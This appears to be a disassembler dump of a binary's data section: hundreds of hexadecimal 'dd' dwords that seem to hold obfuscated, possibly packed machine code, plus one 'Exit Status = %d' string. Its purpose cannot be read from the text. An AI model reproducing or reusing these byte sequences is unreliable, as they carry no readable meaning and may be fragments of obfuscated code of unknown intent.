		dd 60316BDh, 8E9F5h, 1F000000h,	96EADE56h, 858B74DAh, 60302BDh
		dd 8E9h, 5F0F4900h, 1380CE47h, 0F9E0D12Dh, 0B998503h, 8F0F0603h
		dd 6, 9798D31h,	95290603h, 6032F95h, 0BEh, 8830F00h, 0F000000h
		dd 282h, 0F616000h, 0A86h, 0C18B6000h, 20518D29h, 96610603h
		dd 0D8D9509h, 0AD660603h, 8DB58960h, 8B06031Fh,	32601BDh
		dd 0E0C16106h, 0BD950902h, 3060304h, 3064985h, 61952906h
		dd 9606031Ch, 820FFC60h, 1, 8A0F61F8h, 0Ch, 6890Fh, 0BD290000h
		dd 60320F5h, 11E9ADh, 0A8C00000h, 553DC445h, 0DAB13CBEh
		dd 70AC4C15h, 8BBC174Bh, 0F924244Ch, 24244403h,	15959531h
		dd 44890603h, 96F51C24h, 79BCB960h, 852B4D3Fh, 6032E85h
		dd 0B589AC61h, 603165Dh, 0F5C932F8h, 0BD09C1FEh, 60318E5h
		dd 830FD0D0h, 0AAh, 0FD0D0F5h, 0A183h, 0D0D0F900h, 98820Fh
		dd 8B0F0000h, 0Ch, 6830Fh, 85010000h, 6032581h,	820FD0D0h
		dd 7Eh,	17F19D89h, 0C9FE0603h, 0FFBE890Fh, 9D89FFFFh, 6031431h
		dd 0E920C483h, 0Fh, 4B98ECBBh, 27A5FFh,	67CCCC63h, 0C7507EE6h
		dd 0FC2444h, 0E9000000h, 0Fh, 296DD7FCh, 0BD6AECEDh, 7793D43Dh
		dd 0B8B70F91h, 1, 3F5B589h, 8D8D0603h, 60371E3h, 39B58B60h
		dd 66060330h, 0F61FA8Bh, 68Fh, 259D8900h, 0FF06031Dh, 78B0FE1h
		dd 0F000000h, 187h, 85C6F500h, 6031BA1h, 0B589FC00h, 6031761h
		dd 0B5896061h, 6030345h, 1CD59533h, 0C2610603h,	96F90008h
		dd 820F6060h, 0
		dd 74CBABAh, 0B8BE614Ah, 6155491Dh, 0E8C0F50h, 0E9000000h
		dd 9, 5A880FDh,	0D4DEF8FCh, 880F963Ah, 6, 0AED9D89h, 0B5890603h
		dd 6033EC9h, 0E18D89F8h, 8906033Eh, 319FD9Dh, 758D8906h
		dd 8D060322h, 33DDAB5h,	0C870F06h, 0F000000h, 68Ah, 8D0F00h
		dd 8D000000h, 5B7E3585h, 0D0FFF500h, 13E9h, 89F0F800h
		dd 837EEB97h, 0F977EB7Eh, 7467BAE7h, 318117F6h,	1D9D895Eh
		dd 0C3060320h, 858D29F9h, 8B06030Fh, 33EC9B5h, 6E906h
		dd 0EACC0000h, 12AD9ECh, 2081B509h, 8D8B0603h, 6033EE1h
		dd 0AF99D09h, 0C02B0603h, 6E9h,	8368AF00h, 8921AF00h, 32DED95h
		dd 0F5D98B06h, 1B8D8529h, 9BE90603h, 0F000000h,	187h, 2632F500h
		dd 54BF6660h, 2B261ACh,	19A58589h, 50E90603h, 0F5000000h
		dd 5FCC232h, 8A751D7Ah,	1339BD89h, 0CC8A0603h, 0F2BF0F60h
		dd 2E6D9D89h, 0D3610603h, 10E9C8h, 3C900000h, 0B5AB483h
		dd 9B208348h, 0AD092846h, 423577F4h, 0F598D108h, 8B60CAFEh
		dd 32E2D85h, 8E906h, 70C70000h,	0B7B0775Ch, 0A61798Ch
		dd 0A9850FD2h, 0F8FFFFFFh, 68A0F4Bh, 31000000h,	30321B5h
		dd 13E94606h, 4D000000h, 0AEB742AEh, 0CC3AB0E4h, 6B31EE15h
		dd 0E6964EF2h, 0DB0BA03Fh, 0FF64850Fh, 0CFF8FFFFh, 82D9529h
		dd 603h, 0E90000FCh, 0Eh, 4C112427h, 0BA44B668h, 463E8CA6h
		dd 7195h, 0CE9h, 0A071FD00h, 0B857CF8Bh, 7F480798h, 0F0000CBh
		dd 1184h, 0B840F00h, 0E9000000h, 6, 92D1E95Fh, 858DBB51h
		dd 60338E0h, 20FDB529h,	85890603h, 6032045h, 25ED8D09h
		dd 858D0603h, 6033D42h,	0FE9h, 0F0D34700h, 0BFD70EDAh
		dd 85AE46B9h, 0EFC31693h, 0F758589h, 12E80603h,	27000000h
		dd 0C6FCCB68h, 1AF848FAh, 0D4A2D0B0h, 0E669CC6Eh, 7D8D23D8h
		dd 5F060307h, 2169B509h, 0C7810603h, 6CACh, 68C28Bh, 8B000000h
		dd 3267D9Dh, 0C0815A06h, 0E050C1Dh, 0F3A34FFh, 0C85h, 6820F00h
		dd 89000000h, 31DE595h,	95095E06h, 603072Dh, 4200C681h
		dd 11E960A2h, 6D000000h, 0F4E52270h, 4879818Fh,	0F2D5EEB1h
		dd 4DF79888h, 0B68FEE81h, 9D8B5ADBh, 6031719h, 5BDDEE81h
		dd 60561631h, 59616160h, 0B70F6056h, 999D31D3h,	61060307h
		dd 0E817048Fh, 11h, 0D2480425h,	0B2952189h, 4677C2A0h
		dd 0A788B74Ch, 5BE7B33Ah, 241C081h, 0EA830DBFh,	85895204h
		dd 60323F9h, 58FA8158h,	0FFFFF94h, 0F85h, 3EF38000h, 32E9h
		dd 742F0400h, 272FCDBEh, 14E9h,	36B09000h, 9AB237CDh, 0E87A7F31h
		dd 16164C77h, 6D8AD068h, 0FF3EE95Eh, 1AF8FFFFh,	0D4A2D0B0h
		dd 0E669CC6Eh, 0EB008DD8h, 14h,	3 dup(0)
		dd 8800h, 1F858D00h, 89060341h,	3264985h, 60BD8306h, 60340h
		dd 12B840Fh, 85C60000h,	6031BA1h, 4E856h, 6D390000h, 8B50D41Fh
		dd 8B042444h, 24448900h, 0B5FF5804h, 60302E1h, 38E0858Dh
		dd 0D0FF0603h, 40548589h, 85C60603h, 6031BA1h, 70FD6856h
		dd 3481CC82h, 2AC8AF24h, 0E1B5FF50h, 8D060302h,	338E085h
		dd 89D0FF06h, 3405885h,	68046A06h, 0C5CAC2B4h, 4C240481h
		dd 8B3A354Dh, 3406485h,	1F40506h, 0E0C10000h, 90509002h
		dd 95FF006Ah, 6034058h,	405C8589h, 0D88B0603h, 0FFFFFFB8h
		dd 4995FFFFh, 8B060326h, 4995FFC3h, 0E9060326h,	8Dh, 4060BD83h
		dd 0F000603h, 185h, 8B57C300h, 3405CBDh, 8583AB06h, 603405Ch
		dd 83C35F04h, 34060BDh,	850F0006h, 1, 0AD8360C3h, 603405Ch
		dd 5C9D8B04h, 83060340h, 0FFFFC7Bh, 1D85h, 5276800h, 34812A4Eh
		dd 4E852724h, 0FF006A2Ah, 5495FF33h, 61060340h,	26E9C3h
		dd 4E80000h, 0
		dd 50000080h, 424448Bh,	4489008Bh, 6A580424h, 0FF33FF00h
		dd 3405495h, 5CAD8306h,	4060340h, 0FFFFA8E9h, 0ADE948FFh
		dd 60000001h, 2424748Bh, 28247C8Bh, 8A80B2FCh, 7884606h
		dd 2BB47h, 0D2020000h, 5850Fh, 168A0000h, 0FD21246h, 0FFFFE283h
		dd 0FD202FFh, 585h, 46168A00h, 830FD212h, 6Ah, 0D202C033h
		dd 5850Fh, 168A0000h, 0FD21246h, 12A83h, 0FD20200h, 585h
		dd 46168A00h, 0C013D212h, 850FD202h, 5,	1246168Ah, 2C013D2h
		dd 5850FD2h, 8A000000h,	0D2124616h, 0D202C013h,	5850Fh
		dd 168A0000h, 13D21246h, 6840FC0h, 57000000h, 78AF82Bh
		dd 4707885Fh, 2BBh, 0FF70E900h,	1B8FFFFh, 2000000h, 5850FD2h
		dd 8A000000h, 0D2124616h, 0D202C013h, 5850Fh, 168A0000h
		dd 0FD21246h, 0FFFFDE82h, 0BBC32BFFh, 1, 34850Fh, 1B90000h
		dd 2000000h, 5850FD2h, 8A000000h, 0D2124616h, 0D202C913h
		dd 5850Fh, 168A0000h, 0FD21246h, 0FFFFDE82h, 0F78B56FFh
		dd 0A4F3F52Bh, 0FF08E95Eh, 0C148FFFFh, 68A08E0h, 0B9E88B46h
		dd 1, 850FD202h, 5, 1246168Ah, 2C913D2h, 5850FD2h, 8A000000h
		dd 0D2124616h, 0FFDE820Fh, 3DFFFFh, 0F00007Dh, 2283h, 5003D00h
		dd 820F0000h, 0Eh, 0F78B5641h, 0A4F3F02Bh, 0FEB4E95Eh
		dd 0F883FFFFh, 3870F7Fh, 83000000h, 8B5602C1h, 0F3F02BF7h
		dd 9BE95EA4h, 8AFFFFFEh, 0C9334606h, 0F01E8C0h,	1784h
		dd 2D18300h, 8B56E88Bh,	0F3F02BF7h, 1BB5EA4h, 0E9000000h
		dd 0FFFFFE76h, 28247C2Bh, 1C247C89h, 8C261h, 929BAh, 9D3E900h
		dd 4C280000h, 724427A6h, 5405A3FDh, 82AEAC6Ah, 2BFE1802h
		dd 0C269FD42h, 0DE1A9CBDh, 0B5C21CFDh, 6A755F03h, 304F2AA6h
		dd 4317ABF1h, 90BFFF38h, 60F15D05h, 0C8199E2Dh,	0DF0788B7h
		dd 0B5C24EF1h, 697A5901h, 30552AA6h, 5C0DB6EEh,	8EA3E138h
		dd 6EE54A1Eh, 842DFD46h, 0CE078CA0h, 0FBC31CBCh, 7F6E5914h
		dd 7F5333A6h, 5C03B6EFh, 36h, 62h dup(0)
		dd 4C280000h, 7E4E2EA6h, 430DB0E1h, 8CB4FC38h, 23FD4A16h
		dd 0D728FB07h, 0DF118BF2h, 0B4D14EB3h, 2D7F5818h, 7E4F36F4h
		dd 1105AAE1h, 9AE6E271h, 6EEE4D1Eh, 0D03AEA54h,	0B05A84B7h
		dd 0BEDB3ED0h, 217E450Ch, 7C4F36A6h, 1106A5E7h,	85E6F871h
		dd 6EF15703h, 0CB24F64Ah, 0DB5490A0h, 0A9970AB3h, 6C6F4508h
		dd 690137F4h, 1110B1E7h, 84A9FE68h, 60F15903h, 48h dup(0)
		dd 4C280000h, 715320A6h, 4307AFEBh, 97E6FF3Fh, 6EF0571Eh
		dd 843AF24Fh, 0D4118CB0h, 0AED808FDh, 7F3B5203h, 794F2DF3h
		dd 5842A3E6h, 8CBFAC76h, 3DBC4A04h, 0C13DE05Eh,	0B77EC7BFh
		dd 0BAD2028Dh, 2D37531Eh, 7F4D2DF3h, 5842A0E9h,	91A0AC6Ch
		dd 23BC551Eh, 0D626FE42h, 0D415C9ABh, 0BEC54EB9h, 7F7A421Eh
		dd 7F5863F2h, 4142B6FDh, 91A1E36Ah, 0B25510h, 61h dup(0)
		dd 4B280000h, 30442FEFh, 4310ABEBh, 86B2FC6Dh, 6EB21915h
		dd 0D720FB73h, 0D50699F2h, 0B6D61CBAh, 7E7A5E4Dh, 754421A6h
		dd 500FE4E6h, 96B6E576h, 2BE8591Dh, 0CA28B343h,	0DB19C9B6h
		dd 0D1D20CA4h, 2A6F5F60h, 7E4863F5h, 4501A1EEh,	81E6E87Dh
		dd 6EFD1808h, 0D13BFA71h, 0C81BC9A1h, 0BAC50DFDh, 697E5D0Eh
		dd 787563A8h, 5742B7E1h, 0C3A3E071h, 69F25706h,	0CB3EB353h
		dd 0DB5482A0h, 0B4DA17B3h, 35531Fh, 0E0h dup(0)
		dd 4C570000h, 446D754Eh, 50734C4Ch, 746F72h, 30h, 8 dup(0)
aExitStatusD	db 'Exit Status = %d',0
		align 4
		dd 0
		dd 2DF8E900h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 140424h, 55450000h, 8B0F9FC3h, 6, 1F8D9D8Bh,	0FFC0603h
		dd 68Eh, 0F1958B00h, 8B060323h,	83D68BC0h, 304E5BDh, 9750006h
		dd 2339BD83h, 74000603h, 8B535013h, 1B8C0h, 9D8D0000h
		dd 605B461h, 585BD3FFh,	2339BD83h, 74000603h, 0B8535011h
		dd 1, 0B3129D8Dh, 0D3FF0605h, 8D0F585Bh, 2, 8B52D38Bh
		dd 3189595h, 0C08B5B06h, 17C18D89h, 810F0603h, 5, 0CBCA8166h
		dd 19BD83FCh, 6031Bh, 19C840Fh,	9D8B0000h, 603081Dh, 0BD83DF8Bh
		dd 6030FCDh, 87840F00h,	89000001h, 3132D85h, 9E96006h
		dd 20000000h, 0C9E5A942h, 5841C7EAh, 0FCD858Bh,	8E80603h
		dd 2D000000h, 3726E5C4h, 8B71C665h, 31FBD95h, 0E8055B06h
		dd 31000003h, 31C958Dh,	9E806h,	4ADA0000h, 0D43FBC8h, 0E9401018h
		dd 0Eh,	0F2B25FD4h, 588218EFh, 0A9C64D76h, 905B2A41h, 90D18B50h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 32C35545h
		dd 23858D0Ah, 6606034Dh, 9D8BD78Bh, 6031979h, 60525050h
		dd 860F6160h, 0
		dd 8B310F61h, 89585AD7h, 6A2404h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 1A0424h, 52420000h, 2C792DC3h, 9C6B8B1Ch
		dd 58C0F56h, 0BB000000h, 29AB285Ch, 1858D5Ah, 0B06034Dh
		dd 30B599Dh, 0CADA8106h, 900E7616h, 6650DF8Bh, 0F90D78Bh
		dd 488h, 0D08B5100h, 0D5958B5Bh, 0FF06032Eh, 325E195h
		dd 50006A06h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1404h
		dd 0C3504000h, 86BB660Eh, 0C483F85Ch, 0D59D890Ch, 8D06030Fh
		dd 34D0185h, 0BB90FC06h, 62931CCCh, 5870F50h, 0BA000000h
		dd 47BE9262h, 0F026A90h, 188h, 95FFF800h, 688574h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Ah, 0C5C35040h, 0D30C1BACh
		dd 0B589E4E7h, 6030865h, 0D0BF0F61h, 19519D03h,	85C70603h
		dd 6034D34h, 1,	50D38B66h, 0EE851h, 9FC00000h, 0E6318367h
		dd 197D7190h, 22C6F436h, 8D0Fh,	5B5A0000h, 89243489h, 322A1B5h
dword_4F0044	dd 12E906h, 0B5150000h,	5AF8087Bh, 790A1D57h, 869D78C3h
					; DATA XREF: ___:0042CC8Co
		dd 1ACC71D1h, 4CE5B589h, 0D98B0603h, 1D89BD83h,	0F010603h
		dd 2285h, 75958B00h, 306031Bh, 3270595h, 5F88306h, 0D850Fh
		dd 0BD890000h, 6032E31h, 0B8h, 8380B700h, 30BCDBDh, 840F0006h
		dd 4Eh,	0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 16h
		dd 53C35646h, 9503DDA0h, 6030EF5h, 0B8h, 10E800h, 6BEF0000h
		dd 0BE9585A0h, 0F89187Ch, 3273BC9Fh, 890F9170h,	6, 0B65958Bh
		dd 805A0603h, 0E960E8EFh, 6, 0AEE76D5Dh, 858BB854h, 60323EDh
		dd 0EA02BB66h, 8B02C083h, 307D99Dh, 0DD858906h,	0F06034Ch
		dd 68Ch, 0B99D8900h, 0C6060319h, 0E381FF00h, 11458DCCh
		dd 1BA185C6h, 0F530603h, 587h, 0D228BA00h, 4E835DDh, 0D8000000h
		dd 8AFCB148h, 8B0F50F8h, 2, 448B3FB2h, 0F4B70424h, 49B3008Bh
		dd 4244489h, 78E0Fh, 0B0600000h, 0DF8B6687h, 9605861h
		dd 3294DBDh, 7D958B06h,	61060315h, 2471B5FFh, 0BF0F0603h
		dd 58858DDBh, 0E906067Ch, 0Ah, 0FA94E743h, 60BFC8EEh, 0D0FFE06Eh
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 96C35343h
		dd 8BCBC6FFh, 32F6195h,	0A5858906h, 8B060323h, 317759Dh
		dd 69BD8306h, 1060326h,	13E850Fh, 6A0000h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1D0424h, 55450000h, 480CC2C3h
		dd 65B9ECCAh, 894A3E28h, 3191DBDh, 6A6106h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1C0424h, 55450000h, 0E8C891C3h
		dd 417438F5h, 9D892DCFh, 60319D5h, 1BA185C6h, 0F9450603h
		dd 0B5557D68h, 3DB860D2h, 0E90625CEh, 5, 636A1269h, 3481617Eh
		dd 0D56DBF24h, 0DEBA6608h, 0B99D8BC6h, 0FF060332h, 32471B5h
		dd 53006A06h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1804h
		dd 0C3534300h, 0FAC4AC00h, 12E9BEh, 45150000h, 286D446Fh
		dd 3543A3F6h, 4AF9E0F7h, 63C6555h, 7C58858Dh, 6A0606h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h, 51410000h
		dd 7FC1AC3h, 0DB6FE2FCh, 0D0FFB5FFh, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 17h, 0DAC35646h,	668ACC01h, 6AE5B9BBh
		dd 55006A00h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1704h
		dd 0C3554500h, 0DB9E6EF6h, 0DC8ADE8Bh, 8D29D0FFh, 6032AEDh
		dd 2CDBD83h, 0F010603h,	0CB85h,	56006A00h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1704h,	0C3564600h, 0F238137Dh
		dd 0E75BD29h, 858B0603h, 60323EDh, 68D0Fh, 8D0F0000h, 0
		dd 6FE9h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1404h, 0C3504000h, 8C0F509Bh, 0Ch, 68B0Fh, 8F0F0000h
		dd 0
		dd 0E9240489h, 0Eh, 4188017Eh, 8BFFB19Bh, 942A4A4Ch, 146A8E3Fh
		dd 95FFD38Ah, 60323A5h,	0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 17h, 0CAC35040h, 58164BE1h, 0F003880h, 0FFFFA485h
		dd 0D7B70FFFh, 0E90100C6h, 0Ch,	0FE4B09DEh, 0CE69C4B1h
		dd 0FA600BB2h, 0A5958B61h, 83060309h, 31D91BDh,	840F0006h
		dd 1Eh,	0F82CFEBAh, 66FF6A56h, 0B34399BBh, 0A595FF7Dh
		dd 0E9060323h, 0FFFFFFEDh, 0F15958Bh, 85C70603h, 6031D91h
		dd 1, 1D698589h, 85890603h, 6034CE9h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 15h, 65C35242h, 0DE83Eh,	0AD310000h
		dd 64CB702Ch, 8199BC4Dh, 0E98F8623h, 0Ah, 33D67D9Ch, 1AAB0AD7h
		dd 8B5B12A1h, 306ED9Dh,	0BA665006h, 489C270h, 53006A24h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1504h, 0C3534300h
		dd 0F607E3Ch, 56AD1BFh,	0BD5BDB81h, 858D1D78h, 6034D01h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 31C35242h
		dd 97D5B567h, 723893A7h, 1F0B95BBh, 0D38B6606h,	0F525050h
		dd 13E831h, 63940000h, 9EF59E80h, 0A1EFF150h, 9003B74Dh
		dd 9262C634h, 810FC4h, 5A000000h, 489585Ah, 85D28024h
		dd 4CF1858Dh, 800F0603h, 6, 1FB19589h, 60500603h, 0FE8h
		dd 597E8100h, 0B616AC8Ah, 4340EF6Ah, 0EA1BE80h,	5BD88B66h
		dd 5E616051h, 24048961h, 14BD958Bh, 95FF0603h, 6032385h
		dd 0E42EBA66h, 7AD98D8Dh, 6A0603h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 140424h, 51410000h, 958BCFC3h, 60329EDh
		dd 1174C00Bh, 4D01858Dh, 0FF500603h, 1F8589D1h,	0EB06034Dh
		dd 1F85C70Ah, 0FF06034Dh, 0BFFFFFFh, 307E19Dh, 57006A06h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1504h, 0C3574700h
		dd 8B61061Ch, 0A185C6D6h, 4D06031Bh, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 14h, 54C35747h, 83EA8166h, 69958999h
		dd 68060323h, 95E464D5h, 7E9h, 352AF500h, 0E9C51D48h, 7D243481h
		dd 6A31D112h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 15042444h, 47000000h, 0B45AC357h, 0FFECD380h, 32ABDB5h
		dd 50006A06h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1A04h
		dd 0C3504000h, 0B6B59EC0h, 892C9A4Fh, 305719Dh,	58858D06h
		dd 8106067Ch, 4CC111DAh, 0E8D0FF0Dh, 0Bh, 0DB640941h, 0CBF04AD2h
		dd 8BDE3FE4h, 32D3595h,	85895A06h, 60318A1h, 0C6D8B70Fh
		dd 31BA185h, 0CB814506h, 274221ECh, 0EBD02F68h,	72BA6634h
		dd 24048186h, 5986993Ah, 0F49958Bh, 0B5FF0603h,	6032471h
		dd 5FD28166h, 58858D1Ch, 0F06067Ch, 387h, 0DBB70F00h, 6AD0FFh
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h, 56460000h
		dd 0E9D13AC3h, 6, 0E078506Fh, 0B5293430h, 6030365h, 89D9EA80h
		dd 3077985h, 68B0F06h, 1000000h, 3291D85h, 459D8B06h, 8B060314h
		dd 56006AD2h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1504h
		dd 0C3564600h, 0B589EC50h, 6032511h, 1E318D29h,	8C660603h
		dd 819D03D9h, 0F6060303h, 840F04C1h, 2C5h, 311D9D29h, 64E90603h
		dd 0F000001h, 12E9D2BFh, 3C000000h, 3E6C0B1Eh, 3E7C8A6h
		dd 21A6D9C0h, 4731F214h, 99B58BE0h, 0E806031Ch,	0Ch, 4227B701h
		dd 9B76FEB6h, 48877A4Ch, 73D9D0Bh, 815B0603h, 1180C6h
		dd 0C9950B00h, 83060302h, 30CC1BDh, 850F0006h, 32h, 7E8h
		dd 4AAF500h, 9570F6A7h,	0EE8h, 154BDE00h, 82CBA693h, 90A0F0D9h
		dd 8B2348ABh, 31DA19Dh,	0E95B5A06h, 0C5h, 2231B529h, 3E830603h
		dd 0B6840F00h, 6A000000h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 18042444h, 47000000h, 0EA9BC357h,	294782A1h
		dd 308D995h, 5880F06h, 0BB000000h, 1CF985DDh, 53006A60h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1C04h, 0C3534300h
		dd 5846CB9Ah, 1EFA243Ah, 2870F79h, 0B7000000h, 6A146A5Bh
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 19042444h
		dd 43000000h, 9DB0C353h, 4FD2DECEh, 5E8h, 58CBA400h, 8B66A7C9h
		dd 0B7535ADEh, 95FF5A28h, 60323A5h, 30F99D01h, 2B610603h
		dd 3139D9Dh, 61B50106h,	0E9060323h, 0FFFFFF46h,	596C5EBAh
		dd 106C721h, 6A000000h,	3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 14042444h, 45000000h, 83D8C355h, 34CE9BDh
		dd 850F0506h, 149h, 12E9h, 11947400h, 41CDF0DCh, 0ABF6A0E6h
		dd 0F13E1106h, 8B3E936Dh, 30779B5h, 52006A06h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1404h,	0C3524200h, 99D8B03h, 0B906030Dh
		dd 64h,	0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ch
		dd 58C35040h, 7F37F006h, 52800720h, 0FE83E80h, 2C84h, 51006A00h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1504h, 0C3514100h
		dd 0DF8B6B86h, 45E948B7h, 89000000h, 3311595h, 57E8006h
		dd 72840FC2h, 60000000h, 14E9h,	4C685200h, 4E647691h, 1C134150h
		dd 8260CA0h, 0B3E0713Dh, 0D68B668Fh, 12E961h, 0DD010000h
		dd 2A9E2F4Eh, 0EE264AA0h, 1942B0BCh, 0EC8CDCEDh, 5CC28146h
		dd 493170F5h, 0FF7E850Fh, 9D8BFFFFh, 6030741h, 54E9h, 51006A00h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1C04h, 0C3514100h
		dd 0A0B04A92h, 4DC1C350h, 0B9B589D7h, 6A06031Fh, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1D042444h, 43000000h
		dd 457C353h, 82F49272h,	0E430309Ch, 7EA8166h, 9D895897h
		dd 6030831h, 29A9BD83h,	0F000603h, 0F384h, 0D98B6600h
		dd 52006A60h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1504h
		dd 0C3524200h, 958B6701h, 6030E0Dh, 1BA185C6h, 31540603h
		dd 30E5185h, 90126806h,	0E857872Fh, 0Bh, 2B12D040h, 462BEC3Ch
		dd 66A9E1B8h, 5B5ADA8Bh, 0E2240481h, 0BB781F2Eh, 10CB45FFh
		dd 2471B5FFh, 81560603h, 775554CAh, 858D5A74h, 6067C58h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Bh, 2C35040h
		dd 63E3EFA3h, 8B05C581h, 309859Dh, 89D0FF06h, 324118Dh
		dd 6A006A06h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 16042444h, 47000000h, 687CC357h, 0A9B5FFC6h,	0B2060329h
		dd 66D0FF72h, 6A61DF8Bh, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 14042444h, 43000000h, 80FCC353h, 9D015EEFh
		dd 6032C21h, 210D85C7h,	10603h,	0BD890000h, 6032655h, 29958B60h
		dd 0E806031Dh, 4, 80h, 0BB50FA8Ah, 5513A7Ch, 424448Bh
		dd 7932EEBBh, 0E8008B7Dh, 13h, 96B96FF0h, 118AFCEFh, 6D5379FAh
		dd 0F9ACC38Dh, 0B2D8293Eh, 44895B87h, 0A6B60424h, 53006A58h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1704h, 0C3534300h
		dd 7A1F3427h, 9D33FF6Ah, 6031A3Dh, 25E5950Bh
		dd 95FF0603h, 6031369h,	61FCE680h, 2AD59D8Bh, 0E8500603h
		dd 0Eh,	0CD4F7FACh, 0CF6957B6h,	0DA2D9145h, 0EEBBC799h
		dd 5B48715Ch, 66240489h, 858BD68Bh, 6031671h, 13E9h, 0A18EFE00h
		dd 8580D0BEh, 44A4EBB5h, 2C2CE980h, 0B41F2E01h,	0FC00BF8h
		dd 5184h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1B04h, 0C3554500h, 5F0A5340h, 866D22E8h, 0BB66D78Bh
		dd 95FF0ED8h, 6032F11h,	0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 14h, 83C35141h, 7E19589h, 85C70603h, 6032195h
		dd 1, 12E8h, 767E1400h,	31281E1Bh, 11A7459Dh, 29EAB36Dh
		dd 2B2332CCh, 330519Dh,	0BD835B06h, 60321ADh, 49840F00h
		dd 6A000000h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 19042444h, 42000000h, 0F71FC352h, 0BDF8B1CAh, 170995FFh
		dd 6A0603h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h
		dd 57470000h, 8B2FEFC3h, 0D3BF0FD0h, 0B01BD83h,	0F000603h
		dd 3B84h, 8B665000h, 9E95AD3h, 0B3000000h, 8EBADCD3h, 0B8295E25h
		dd 49995FFh, 6A0603h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 140424h, 51410000h, 9D8BC7C3h, 6032E45h, 1D39BD83h
		dd 0F000603h, 3B84h, 8D8B6000h,	6031F8Dh, 13E9h, 0ED6DB300h
		dd 1A1648A8h, 64F9E22Eh, 0BB48B38Bh, 58DD93BAh,	89BD8361h
		dd 6030Bh, 0E850Fh, 958B0000h, 603238Dh, 20F195FFh, 0ABB70603h
		dd 1451BD83h, 0F000603h, 2984h,	0C3816600h, 85818D59h
		dd 6031A9Dh, 4003h, 2601958Bh, 7BBA0603h, 8163FCD5h, 3073985h
		dd 400306h, 0DB816600h,	310F3BADh, 6860Fh, 9D0B0000h, 6032E6Dh
		dd 5CC98D8Dh, 8D890603h, 6032E45h, 189F38Ah, 0D0D9D8Bh
		dd 95890603h, 6032C61h,	0E280C233h, 44189B4h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 0E9C35343h, 89867521h
		dd 31F8DBDh, 66310F06h,	8DD600BBh, 35CDE8Dh, 17870F06h
		dd 0E8000000h, 0Fh, 2554F1C7h, 0D16931BCh, 0C3E66212h
		dd 538BA73Fh, 1895A5Bh,	909950Bh, 0C2330603h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 14h, 0BAC35242h, 31299D8Bh
		dd 0C5BA0603h, 8970A653h, 8B660441h, 91BD83DEh,	60313h
		dd 3E840Fh, 0AE90000h, 33000000h, 0C6E63F7Ch, 0C82F28BCh
		dd 0E995FF26h, 6A06031Dh, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 19042444h, 42000000h, 7DD4C352h, 94C747DEh
		dd 958BF48Ah, 60320B1h,	7CDBD83h, 0F010603h, 5385h, 0EB815300h
		dd 3E9F3582h, 45E9F85Ah, 0F8000000h, 5E05B58Bh,	6C70603h
		dd 0
		dd 5BD1B58Bh, 6C70603h,	0
		dd 53006ACFh, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1B04h
		dd 0C3534300h, 79ADAC37h, 71456FACh, 85952B53h,	5B06030Fh
		dd 2195BD83h, 0F000603h, 20684h, 9CBB6600h, 5BD83BEh, 1060326h
		dd 1DF850Fh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 170424h, 57470000h, 0B52FABC3h, 3D958B0Dh, 8B06031Ah
		dd 34CDD8Dh, 8D8B6006h,	6030F01h, 9E9h,	0B78CF500h, 0F0958F48h
		dd 8161C52Ch, 6059B5F2h, 1C657h, 0F159D2Bh, 9D330603h
		dd 6032251h, 52006A60h,	3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1D04h, 0C3524200h, 8580D0BEh, 44A4EBB5h, 4E8E980h, 80000000h
